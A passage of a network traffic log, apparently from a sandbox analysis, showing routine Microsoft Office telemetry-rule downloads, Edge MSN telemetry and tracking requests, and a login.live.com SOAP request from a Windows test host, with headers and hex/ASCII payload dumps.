</S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49890	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:33 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:34 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055934Z-16849878b78wv88bk51myq5vxc00000006dg000000006bbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:34 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49892	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:34 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:34 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:34 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055934Z-16849878b78fssff8btnns3b1400000006g0000000000qkf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:34 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49891	20.42.73.31	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:34 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730181572260&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9574 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1; msnup=
2024-10-29 05:59:34 UTC	9574	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 39 54 30 35 3a 35 39 3a 33 32 2e 32 35 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 30 30 37 65 65 39 38 2d 62 64 65 33 2d 34 65 34 35 2d 61 33 34 64 2d 64 66 37 33 66 32 30 32 62 65 39 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 32 32 37 38 37 35 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-10-29T05:59:32.259Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"2007ee98-bde3-4e45-a34d-df73f202be99","epoch":"2622787570"},"app":{"loc
2024-10-29 05:59:35 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=59b0af0ef70243a3b4e35818f2ae8256&HASH=59b0&LV=202410&V=4&LU=1730181575026; Domain=.microsoft.com; Expires=Wed, 29 Oct 2025 05:59:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=67704e086eb940ce862bd2584080e2f7; Domain=.microsoft.com; Expires=Tue, 29 Oct 2024 06:29:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2766 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 29 Oct 2024 05:59:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49893	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:34 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055934Z-16849878b78q9m8bqvwuva4svc00000004rg00000000219w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49894	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:34 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:34 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 0944ca5a-501e-007b-292d-275ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055934Z-17c5cb586f66g7mvgrudxte954000000014g0000000050qn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:34 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49898	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:34 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:35 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 151676fb-b01e-0084-4068-28d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055935Z-15b8d89586fxdh48qknu9dqk2g0000000a4g000000003qp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49899	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:34 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055934Z-16849878b786lft2mu9uftf3y400000007ag00000000azpb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:35 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49896	20.125.209.212	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:34 UTC	1279	OUT	GET /c.gif?rnd=1730181570259&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=bfe00f3163ab4b7d893198e3cbe5ca88&activityId=bfe00f3163ab4b7d893198e3cbe5ca88&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=80EA2B33978444B08900C350AC4F446D&MUID=082392D97AE764340DA987FE7BEF6550 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1; msnup=; SM=T; _C_ETH=1
2024-10-29 05:59:35 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=082392D97AE764340DA987FE7BEF6550; domain=.msn.com; expires=Sun, 23-Nov-2025 05:59:35 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=082392D97AE764340DA987FE7BEF6550; domain=c.msn.com; expires=Sun, 23-Nov-2025 05:59:35 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Tue, 05-Nov-2024 05:59:35 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Tue, 29-Oct-2024 06:09:35 GMT; path=/; SameSite=None; Secure; Date: Tue, 29 Oct 2024 05:59:34 GMT Connection: close Content-Length: 42
2024-10-29 05:59:35 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49895	20.42.73.31	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:34 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730181573249&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5095 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1; msnup=; _C_ETH=1
2024-10-29 05:59:34 UTC	5095	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 39 54 30 35 3a 35 39 3a 33 33 2e 32 34 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 30 30 37 65 65 39 38 2d 62 64 65 33 2d 34 65 34 35 2d 61 33 34 64 2d 64 66 37 33 66 32 30 32 62 65 39 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 32 32 37 38 37 35 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-10-29T05:59:33.249Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"2007ee98-bde3-4e45-a34d-df73f202be99","epoch":"2622787570"},"app":{"locale
2024-10-29 05:59:35 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=d0c5a908798f4e4aa2f6aeca94d55b7b&HASH=d0c5&LV=202410&V=4&LU=1730181575565; Domain=.microsoft.com; Expires=Wed, 29 Oct 2025 05:59:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=fe37217787424aea9fd228f2bfb9bc12; Domain=.microsoft.com; Expires=Tue, 29 Oct 2024 06:29:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2316 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 29 Oct 2024 05:59:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49897	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 05:59:35 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 05:59:35 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 05:58:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.3 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: dd65de67-9757-47d9-8b31-a0f52cbc28a9 PPServer: PPV: 30 H: PH1PEPF00018BFD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 05:59:35 GMT Connection: close Content-Length: 11392
